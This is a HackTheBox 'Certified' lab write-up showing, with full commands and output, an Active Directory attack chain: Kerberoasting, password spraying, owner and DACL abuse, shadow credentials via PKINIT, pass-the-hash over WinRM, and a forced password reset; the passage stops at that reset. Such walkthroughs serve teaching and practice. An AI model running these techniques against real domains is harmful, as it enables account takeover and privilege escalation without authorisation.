[HackTheBox] Certified

jamarirjamarir
30 min read

Just another jq Parsing / Ownership DACL Abuse / PKINIT / Shadow Credentials / ESC9 Vulnerable Template / UPN Mismatch (?) / Certificate Mapping Write-up.

As is common in Windows pentests, you will start the Certified box with credentials for the following account:

  • Username: judith.mader

  • Password: judith09

Machine link.

IppSec Walkthrough.

Footprinting

Open ports

The open ports on the machine are:

jamarir@kali:~$ sudo nmap -sS -p- -v -Pn --disable-arp-ping -oA syn_full --open 10.10.11.41
jamarir@kali:~$ nmap -Pn --disable-arp-ping -sC -sV -v -oA nse 10.10.11.41 -p$(grep -oP '^\d*(?=/)(?=.* open )' syn_full.nmap |sort -u |tr '\n' ',' |grep -oP '.*(?=,)')
jamarir@kali:~$ cat syn_full.nmap
[...]
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49666/tcp open  unknown
49669/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49683/tcp open  unknown
49713/tcp open  unknown
49737/tcp open  unknown
55876/tcp open  unknown

It has DNS service open, let’s configure it to be our local resolver:

jamarir@kali:~$ sudo sed -i '1i nameserver 10.10.11.41' /etc/resolv.conf

It’s a Domain Controller (running Kerberos on port 88), whose FQDN is DC01.certified.htb:

jamarir@kali:~$ nxc smb 10.10.11.41
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)

Because we have access to LDAP with our judith.mader user, let’s collect a BloodHound database:

jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' --dns-server 10.10.11.41 --bloodhound --collection All

Down some rabbit holes

You may check this IppSec video for more details.

SMBing ?

No uncommon shares are available as judith.mader. Sniff.

jamarir@kali:~$ nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' --shares
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09
SMB         10.10.11.41     445    DC01             [*] Enumerated shares
SMB         10.10.11.41     445    DC01             Share           Permissions     Remark
SMB         10.10.11.41     445    DC01             -----           -----------     ------
SMB         10.10.11.41     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.41     445    DC01             C$                              Default share
SMB         10.10.11.41     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.41     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.41     445    DC01             SYSVOL          READ            Logon server share

Kerberoasting ?

One user is Kerberoastable:

jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' --kerberoasting kerberoastables.txt --kdcHost 10.10.11.41
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09
LDAP        10.10.11.41     389    DC01             Bypassing disabled account krbtgt
LDAP        10.10.11.41     389    DC01             [*] Total of records returned 1
LDAP        10.10.11.41     389    DC01             sAMAccountName: management_svc memberOf: CN=Management,CN=Users,DC=certified,DC=htb pwdLastSet: 2024-05-13 17:30:51.476756 lastLogon:<never>
LDAP        10.10.11.41     389    DC01             $krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$20b9f6ef9bdb9e3bfe2cdada2fe5beff$9b639a179c8bd7453bce111b378c7ebfcbbeaf57c9eb957232a3277175766680756cc289659da213e0b50f1d17a9f0c21e90a60b0ca8e0a20905d3af3997b82f639f8919753f2373b2837100d5f19ead91e5431457d2acd7c0fed5a859c7b4ba16c011a027bb12d451e08c9289f5a46716e4ff8f729452388095d78d60deae2790b01b014bddd588b7fd3de81f9c4346bb354784374ec2de42c8a482bbfcbc073ddb2fd54432398f8a102bb14a5d4860d6c38247e1aa16f960b1ed14c8f95537c617551587649b8f28772b0e1067d61608dc0b3a35dec5f4798d2203ed93b7608e754bb0201679c618fcf339d44e8697eaf40b80d53c10d7c95b25542cc953d55e8197f9fe9c97e3a4facda7bbd970200a3c11d37a3931c10921ac38336b4021487715726b79b8b161073abc4b78b32eb5b8eaf870b192e4344b33d2f0c89768f47616ffb9f75011a3ba88c69c147244247cc4398fc53ef7930f7017669b6d0a4a927ae00e10df694425c3e68517e910ad008b21f521fcb52a54943b672fabd1ec0b3b00132890631733212af198e6d1edcf9ae154343a32c09b685e9e9c4f64e753fc821622a83611470cae81f0f0e3774a75e8319dee606761e951a4e28b0957b91a272e16c05fc008c3caaa3f9a5ef91e2f6dfcbd586ea8b8a675bba5d6f76220b15f081f45e5f006a94d89dde3b167f7c3280e4bb984a066d18092769a7a0247fd2470d9933417210c01389cc94b54d236fbf9db65c5a47f1edd6bdf0b2f38b6fb05cd269998f5e64ac13724d97e9204dc0f6af17fcfe59dcfee32da2a3aa06a4f20dee1934f75280ecb42e0f5acb2eed9d47c1074b3b8ef2ac96a04bb0948fa1e3e5425249520055e4590ba862df649be61c560018fc7d4201e0fa83d2d22321be9d65a3617df86550f31002024745d453f27c2bcc39d575a7d411bfec5d6c774a5bfa008b5a15faa3d543a68eb9ed8eeb12718a15b239dd3ab94a64bd5b5e1114501d64fb96b668d9b8a50ab685c730054e88e8625fc4391e4da2e44810e35562154894df7771996bb0c87c669ef0b4a51d147d0fb4b2f97c892fd9b42c65108c0d668b69a0d85b6362887187ab7075637cb6d4967c3ff7dead46f8effbaccbeaf1db35a3e15384b1a17a1593992b357c594207c368768efa801c3b1c225bdec0a3bb271bab98c3387ce3913fa07ce190dc3548a71beae1e83a8051d0789e7941c601a8dacc9ec9a87c916fec6fd062b69910878ff09dab4ef11931427b3fe8d7059fa93eef5ee1dfa27a31b47657d80f1122a9ae2aa153e792ca708a9a03c41d516b667fecddb88218dfaacd2df5cfc6a511c96093dc694f52fd14fc54d0dee7b9f3ef16f6b22ae1537582bcf96a756c17c47e2eaeb7376a3208ac4ee132c62e94cb4c445bd02220afe06789495e053ccf61e0cfbfbe7b550f0a9c4b92a0e11f42a68b96553c4753d20a68a07b6325f37f6710e0723f70da99696677838ff52d26e4774514f09269cdc813bfb5b3e813dc61ef376cc0995f705a3c403d6acebb866b9c0dc8a7ce732618654cacd0d7949dd9e7d0e5016

But we can’t crack its TGS with commonly known wordlists. Sniff.

jamarir@kali:~$ echo '$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$20[...]16' |john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt /dev/stdin
[No password revealed]

Password spraying ?

Password spraying the domain accounts with our judith09 password gives no other valid credentials. Sniff.

jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' --query "(&(objectCategory=person)(objectClass=user))" "*" > all_users.txt
jamarir@kali:~$ grep -oP '.*sAMAccountName:\s*\K.*' all_users.txt > users.txt
jamarir@kali:~$ while read user; do for protocol in smb; do (nxc $protocol 10.10.11.41 -u "$user" -p 'judith09' |grep -vP '( \[\*\] | STATUS_LOGON_FAILURE |RPC_S_ACCESS_DENIED| Connection refused | ERROR )'&); done; done < users.txt
SMB                      10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09

Owner2Manager_or_FullController ?

BloodHound reveals that judith.mader has the ability to edit the owner of the management group:

Also, members of this group have GenericWrite privilege over management_svc, a member of the Remote Management Users (to access WinRM). Therefore, management_svc will probably give the user flag.

As shown in this Blackhat 2018 presentation (slide 22), the compromise scenario is, for us (judith.mader), to become a member of the management group to gain GenericWrite privilege on management_svc. This would allow us to edit any attribute of the management_svc user.

We may confirm that this group has the WriteOwner ACL set:

  • In Windows using the PowerView’s Get-ObjectAcl cmdlet:

      PS C:\Users\jamarir> Get-ObjectAcl -Identity Management -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force))) |where ActiveDirectoryRights -eq WriteOwner
      ObjectDN              : CN=Management,CN=Users,DC=certified,DC=htb
      ObjectSID             : S-1-5-21-729746778-2675978091-3820388244-1104
      ActiveDirectoryRights : WriteOwner
      BinaryLength          : 36
      AceQualifier          : AccessAllowed
      IsCallback            : False
      OpaqueLength          : 0
      AccessMask            : 524288
      SecurityIdentifier    : S-1-5-21-729746778-2675978091-3820388244-1103
      AceType               : AccessAllowed
      AceFlags              : ContainerInherit
      IsInherited           : False
      InheritanceFlags      : ContainerInherit
      PropagationFlags      : None
      AuditFlags            : None
    
      PS C:\Users\jamarir> ConvertFrom-SID 'S-1-5-21-729746778-2675978091-3820388244-1103' -Domain certified.htb -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
      CERTIFIED\judith.mader
    
      jamarir@kali:~$ rpcclient 10.10.11.41 -U 'judith.mader%judith09' -c "lookupsids S-1-5-21-729746778-2675978091-3820388244-1103;quit"
      S-1-5-21-729746778-2675978091-3820388244-1103 CERTIFIED\judith.mader (1)
    
  • In Kali using the BloodHound JSON files with the jq parser:

      jamarir@kali:~$ cat DC01_10.10.11.41_*_users.json|jq '.data[] | select(.Properties.samaccountname=="judith.mader")'
      {
        "AllowedToDelegate": [],
        "ObjectIdentifier": "S-1-5-21-729746778-2675978091-3820388244-1103",
        "PrimaryGroupSID": "S-1-5-21-729746778-2675978091-3820388244-513",
        "Properties": {
          "name": "JUDITH.MADER@CERTIFIED.HTB",
          "domain": "CERTIFIED.HTB",
      [...]
          "samaccountname": "judith.mader",
      [...]
        },
        "Aces": [
      [...]
          {
            "RightName": "WriteOwner",
            "IsInherited": true,
            "PrincipalSID": "CERTIFIED.HTB-S-1-5-32-544",
            "PrincipalType": "Group"
          },
      [...]
        ],
      [...]
      }
    
      jamarir@kali:~$ cat DC01_10.10.11.41_*_groups.json|jq '.data[] |select(.Aces[].PrincipalSID | test("-1[0-9]{3,}$"))'
      {
        "ObjectIdentifier": "S-1-5-21-729746778-2675978091-3820388244-1104",
        "Properties": {
          "domain": "CERTIFIED.HTB",
          "domainsid": "S-1-5-21-729746778-2675978091-3820388244",
          "highvalue": false,
          "name": "MANAGEMENT@CERTIFIED.HTB",
      [...]
        "Aces": [
      [...]
          {
            "RightName": "WriteOwner",
            "IsInherited": false,
            "PrincipalSID": "S-1-5-21-729746778-2675978091-3820388244-1103",
            "PrincipalType": "User"
          },
      [...]
        ],
        "IsDeleted": false,
        "IsACLProtected": false
      }
    

The owner of a domain object is contained in the NT-Security-Descriptor attribute. For instance, the current owner of the management group is Domain Admins:

PS C:\Users\jamarir> (Get-ADGroup -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -Properties ntSecurityDescriptor -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))).ntSecurityDescriptor.Owner
O:S-1-5-21-729746778-2675978091-3820388244-512

PS C:\Users\jamarir> ConvertFrom-SID 'S-1-5-21-729746778-2675978091-3820388244-512' -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force))) -Domain certified.htb
CERTIFIED\Domain Admins
jamarir@kali:~$ owneredit.py -action read -target management certified.htb/'judith.mader:judith09'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb

We can edit the group’s ownership to ourselves using:

  • The PowerView’s Set-DomainObjectOwner cmdlet:

      PS C:\Users\jamarir> Set-DomainObjectOwner -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=certified,DC=htb" -OwnerIdentity "CN=Judith Mader,CN=Users,DC=certified,DC=htb" -Verbose -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
      VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
      VERBOSE: [Get-Domain] Extracted domain 'certified.htb' from -Credential
      VERBOSE: [Get-DomainSearcher] search base: LDAP://10.10.11.41/DC=certified,DC=htb
      VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
      VERBOSE: [Get-DomainObject] Extracted domain 'certified.htb' from 'CN=Judith Mader,CN=Users,DC=certified,DC=htb'
      VERBOSE: [Get-DomainSearcher] search base: LDAP://10.10.11.41/DC=certified,DC=htb
      VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
      VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Judith Mader,CN=Users,DC=certified,DC=htb)))
      VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
      VERBOSE: [Get-Domain] Extracted domain 'certified.htb' from -Credential
      VERBOSE: [Get-DomainSearcher] search base: LDAP://10.10.11.41/DC=certified,DC=htb
      VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
      VERBOSE: [Get-DomainObject] Extracted domain 'certified.htb' from 'CN=Management,CN=Users,DC=certified,DC=htb'
      VERBOSE: [Get-DomainSearcher] search base: LDAP://10.10.11.41/DC=certified,DC=htb
      VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
      VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Management,CN=Users,DC=certified,DC=htb)))
      VERBOSE: [Set-DomainObjectOwner] Attempting to set the owner for 'CN=Management,CN=Users,DC=certified,DC=htb' to 'CN=Judith Mader,CN=Users,DC=certified,DC=htb'
    
  • Or the owneredit.py impacket script:

      jamarir@kali:~$ owneredit.py -action write -new-owner 'judith.mader' -target management certified.htb/'judith.mader:judith09'
      Impacket v0.13.0.dev0+20241120.173216.3ce41be - Copyright Fortra, LLC and its affiliated companies
    
      [*] Current owner information below
      [*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
      [*] - sAMAccountName: Domain Admins
      [*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
      [*] OwnerSid modified successfully!
    
      jamarir@kali:~$ owneredit.py -action read -target management certified.htb/'judith.mader:judith09'
      Impacket v0.13.0.dev0+20241120.173216.3ce41be - Copyright Fortra, LLC and its affiliated companies
    
      [*] Current owner information below
      [*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
      [*] - sAMAccountName: judith.mader
      [*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
    

However, even if we’re the owner of the group, we can’t grant ourselves membership:

PS C:\Users\jamarir> Add-ADGroupMember -Server 10.10.11.41 -Identity Management -Members judith.mader -Verbose -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
VERBOSE: Performing the operation "Set" on target "CN=Management,CN=Users,DC=certified,DC=htb".
Add-ADGroupMember : Insufficient access rights to perform the operation
At line:1 char:1
+ Add-ADGroupMember -Identity Management -Members judith.mader -Verbose ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (Management:ADGroup) [Add-ADGroupMember], ADException
    + FullyQualifiedErrorId : ActiveDirectoryServer:8344,Microsoft.ActiveDirectory.Management.Commands.AddADGroupMember

PS C:\Users\jamarir> Get-ADUser -Server 10.10.11.41 -Identity "judith.mader" -properties memberof -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
DistinguishedName : CN=Judith Mader,CN=Users,DC=certified,DC=htb
[...]
MemberOf          : {}
[...]
jamarir@kali:~$ net rpc group addmem "Management" "judith.mader" -U certified.htb/"judith.mader" -S "dc01.certified.htb"
Password for [CERTIFIED.HTB\judith.mader]:
Could not add judith.mader to Management: NT_STATUS_ACCESS_DENIED

jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' --query "(memberOf=CN=Management,CN=Users,DC=certified,DC=htb)" "userPrincipalName"
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09
LDAP        10.10.11.41     389    DC01             [+] Response for object: CN=management service,CN=Users,DC=certified,DC=htb
LDAP        10.10.11.41     389    DC01             userPrincipalName:   management_svc@certified.htb

This sounds to be due to the fact that we're not the user managing the group. In Microsoft Exchange, being the managedBy user on a group is necessary to remove or make a change to this group. We currently own the group, but Domain Admins still manages it:

PS C:\Users\jamarir> Get-DomainObject -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=certified,DC=htb" -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
[...]
managedby             : CN=Domain Admins,CN=Users,DC=certified,DC=htb
jamarir@kali:~$ ldapdomaindump -u 'certified.htb\judith.mader' -p 'judith09' -n 10.10.11.41 certified.htb
jamarir@kali:~$ cat domain_groups.json |jq '.[] |select(.attributes.sAMAccountName[]=="Management") |.attributes.managedBy'
[
  "CN=Domain Admins,CN=Users,DC=certified,DC=htb"
]

So let’s try to set ourselves manager of the group:

PS C:\Users\jamarir> Set-ADGroup -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -Replace @{managedBy="CN=Judith Mader,CN=Users,DC=CERTIFIED,DC=HTB"} -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
Set-ADGroup : Insufficient access rights to perform the operation
At line:1 char:1
+ Set-ADGroup -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -R ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (CN=Management,C...ERTIFIED,DC=HTB:ADGroup) [Set-ADGroup],
   ADException
    + FullyQualifiedErrorId : ActiveDirectoryServer:8344,Microsoft.ActiveDirectory.Management.Commands.
   SetADGroup

We have no sufficient rights :/. What about changing the -Replace option with -ManagedBy ?

PS C:\Users\jamarir> Set-ADGroup -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -ManagedBy "CN=Judith Mader,CN=Users,DC=CERTIFIED,DC=HTB" -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
Set-ADGroup : Insufficient access rights to perform the operation
At line:1 char:1
+ Set-ADGroup -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -M ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (CN=Management,C...ERTIFIED,DC=HTB:ADGroup) [Set-ADGroup],
   ADException
    + FullyQualifiedErrorId : ActiveDirectoryServer:8344,Microsoft.ActiveDirectory.Management.Commands.
   SetADGroup

Sniff.

A workaround is to grant ourselves FullControl over the group with dacledit.py:

jamarir@kali:~$ dacledit.py -action 'write' -rights 'FullControl' -principal 'judith.mader' -target 'management' certified.htb/'judith.mader':'judith09'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-<DATE>.bak
[*] DACL modified successfully!

Note that this operation requires us to be the owner of the group here. If the owner is left to Domain Admins, the group’s attributes alteration is denied:

jamarir@kali:~$ dacledit.py -action 'write' -rights 'FullControl' -principal 'judith.mader' -target 'management' certified.htb/'judith.mader':'judith09'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-<DATE>.bak
[-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-03152E13, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

Basically, as the Microsoft’s documentation on Access control overview shows (see dacledit.py’s SIMPLE_PERMISSIONS class), ACL (Access Control List) defines what a security principal (identified by its SID) can do over a ressource/object (e.g. file, share, registry key, AD object). Principals are generally users, computers, or groups.

It’s worth noting that:

  • Principals can perform actions on an object (i.e. Read, Write, Modify, Full Control).

  • Each object has an owner, who grants rights to principals. By default, the owner of an object is its creator.

  • Rights given to a group are inherited by its members.

  • A container is a parent object that has one or more child objects (e.g. a folder, with its subfolders/subfiles). Rights given on a container are inherited on its children.

Anyway, being the owner of the management allows us to give ourselves FullControl over that group; which translates into a GENERIC_ALL permission (all possible access rights).

If we wanted only write access on members of the group, we could have used the right WriteMembers:

jamarir@kali:~$ dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'management' certified.htb/'judith.mader':'judith09'

Now, we may add ourselves to that group !

jamarir@kali:~$ net rpc group addmem 'management' 'judith.mader' -U certified.htb/'judith.mader'%'judith09' -S 'DC01.certified.htb'
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -M group-mem -o GROUP="management"
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09
GROUP-MEM   10.10.11.41     389    DC01             [+] Found the following members of the management group:
GROUP-MEM   10.10.11.41     389    DC01             judith.mader
GROUP-MEM   10.10.11.41     389    DC01             management_svc

GenericWrite DACL abuse

Members of the management group have GenericWrite permission over the management_svc account:

GenericWrite privilege allows member to edit any property on an AD object.

It could be noted that GenericWrite doesn’t allow to edit a user’s password:

jamarir@kali:~$ rpcclient 10.10.11.41 -U certified.htb/'judith.mader'%'judith09' -c 'setuserinfo2 management_svc 23 "P@ssw0rd123!";quit'
result: NT_STATUS_ACCESS_DENIED
result was NT_STATUS_ACCESS_DENIED

To force a user’s password change, the User-Force-Change-Password privilege is required. On the contrary, more permissive privileges (namely GenericAll and AllExtendedRights) allow password changes because they provide extended rights, containing the User-Force-Change-Password privilege.

BloodHound suggests 2 attack vectors: Targeted Kerberoasting and Shadow Credentials.

We won’t go for the Targeted Kerberoasting attack because:

  • management_svc already has an SPN set. Thus, we don’t need to set an arbitrary SPN to retrieve a TGS.

  • We already tried to crack the management_svc’s TGS, which was a funny rabbit hole.

So, let’s impersonate management_svc with a shadow credentials attack.

PKINIT Overviewed

For more information about the classic Kerberos authentication, you may check, among many other resources, my Active article.

For more details about asymetric Kerberos authentication, you may check RFC4556, or the Microsoft documentation on PKINIT, its glossary, or most importantly this specterops article, along with its Certified Pre-Owned paper.

As a reminder, the Kerberos protocol is used to authenticate domain clients to application servers against the KDC (i.e. the DC in an AD):

PKINIT is the Public Key Cryptography for Initial Authentication in Kerberos. This protocol is a pre-authentication extension of Kerberos that enables the usage of public key cryptography in the AS exchanges (to get a TGT). Therefore, users could authenticate against the KDC/AS with a private key (asymetric authentication) instead of a password (symetric authentication).

Asymetric authentications is likely to be more secure than symetric authentications. Indeed, the attack resistance strength of Kerberos is as robust as the clients’ passwords complexity, which is likely to be less secure for human users, who can set weak passwords. Also, PKINIT prevents human clients from having to manage strong passwords. Finally, PKINIT can be strengthened with other asymetric authentication mechanisms such as smart cards.

For asymetric authentications, both the client and the DC must have a private/public key pair.

Shadow Credentials 2 Pass-The-Certificate !

The prerequisites of a shadow credentials privesc are that:

  • The domain supports PKINIT, with at least one Windows Server 2016 DC.

      jamarir@kali:~$ nxc smb 10.10.11.41
      SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
    
  • The DC has its own key pair (default for domains with a CA).

      jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' -M adcs
      SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
      LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09
      ADCS        10.10.11.41     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
      ADCS        10.10.11.41     389    DC01             Found PKI Enrollment Server: DC01.certified.htb
      ADCS        10.10.11.41     389    DC01             Found CN: certified-DC01-CA
    
      jamarir@kali:~$ nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' -M enum_ca
      SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
      SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09
      ENUM_CA     10.10.11.41     445    DC01             Active Directory Certificate Services Found.
      ENUM_CA     10.10.11.41     445    DC01             http://10.10.11.41/certsrv/certfnsh.asp
    
  • The attacker has write access over a user’s Key Credential attribute.

The goal of a shadow credentials attack is to impersonate a user on which we can alter the msDS-KeyCredentialLink attribute. By default, this attribute is only writable by the members of the Key Admins (resp. Enterprise Key Admins) group in a domain (resp. forest) context.

Because we have GenericWrite privilege over management_svc, we can edit any attribute of this user; msDS-KeyCredentialLink in particular. We could use the pywhisker tool to perform the attack:

jamarir@kali:~$ pywhisker -d certified.htb -u 'judith.mader' -p 'judith09' --target 'management_svc' --action 'add' --filename shadow
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 0c8bc665-cf9b-ffe5-9a7e-d6103819b58d
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: shadow.pfx
[*] Must be used with password: r7BKMAXvhKSFtDqneG32
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
jamarir@kali:~$ pywhisker -d certified.htb -u 'judith.mader' -p 'judith09' --target 'management_svc' --action 'list'
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Listing devices for management_svc
[*] DeviceID: 0c8bc665-cf9b-ffe5-9a7e-d6103819b58d | Creation Time (UTC): <DATE>

Note that our shadow credential’s password is r7BKMAXvhKSFtDqneG32, and a shadow.pfx certificate has been generated. Now, we could Pass-The-Certificate to impersonate management_svc using either:

  • PKINITtools to request a TGT with our PFX certificate, then the NTHash:

      jamarir@kali:~$ python gettgtpkinit.py -cert-pfx shadow.pfx -pfx-pass 'r7BKMAXvhKSFtDqneG32' certified.htb/'management_svc' shadow.ccache
      <DATE> minikerberos INFO     Loading certificate and key from file
      INFO:minikerberos:Loading certificate and key from file
      <DATE> minikerberos INFO     Requesting TGT
      INFO:minikerberos:Requesting TGT
      <DATE> minikerberos INFO     AS-REP encryption key (you might need this later):
      INFO:minikerberos:AS-REP encryption key (you might need this later):
      <DATE> minikerberos INFO     58f1010094585ac1d2b4feccc44858b44f933765c1f1b3f3dbdf5f37402ef983
      INFO:minikerberos:58f1010094585ac1d2b4feccc44858b44f933765c1f1b3f3dbdf5f37402ef983
      <DATE> minikerberos INFO     Saved TGT to file
      INFO:minikerberos:Saved TGT to file
    
      jamarir@kali:~$ export KRB5CCNAME=shadow.ccache
      jamarir@kali:~$ python ~/gits/PKINITtools/getnthash.py certified.htb/'management_svc' -key 58f1010094585ac1d2b4feccc44858b44f933765c1f1b3f3dbdf5f37402ef983
      [...]
      Recovered NT Hash
      a091c1832bcdd4677c28b5a6a1295584
    
  • Or Certipy. However, this tool doesn’t support passwords on certificates, so we must first generate an unprotected certificate to request a TGT:

      jamarir@kali:~$ certipy cert -export -pfx shadow.pfx -password 'r7BKMAXvhKSFtDqneG32' -out 'unprotected.pfx'
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [*] Writing PFX to 'unprotected.pfx'
    
      jamarir@kali:~$ certipy auth -pfx unprotected.pfx -dc-ip '10.10.11.41' -username 'management_svc' -domain 'certified.htb'
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [!] Could not find identification in the provided certificate
      [*] Using principal: management_svc@certified.htb
      [*] Trying to get TGT...
      [*] Got TGT
      [*] Saved credential cache to 'management_svc.ccache'
      [*] Trying to retrieve NT hash for 'management_svc'
      [*] Got hash for 'management_svc@certified.htb': aad3b435b51404eeaad3b435b51404ee:a091c1832bcdd4677c28b5a6a1295584
    

Now, we may get the user flag !

jamarir@kali:~$ evil-winrm -i 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'
*Evil-WinRM* PS C:\Users\management_svc\Documents> gc ../desktop/user.txt
94[...]2d

Privilege escalation

management_svc GenericAll over ca_operator

Our user can edit any attribute of the user ca_operator with extended rights. Here, we could update this user’s password:

jamarir@kali:~$ rpcclient 10.10.11.41 -U certified.htb/'management_svc'%'a091c1832bcdd4677c28b5a6a1295584' --pw-nt-hash -c 'setuserinfo2 ca_operator 23 "P@ssw0rd123!";quit'

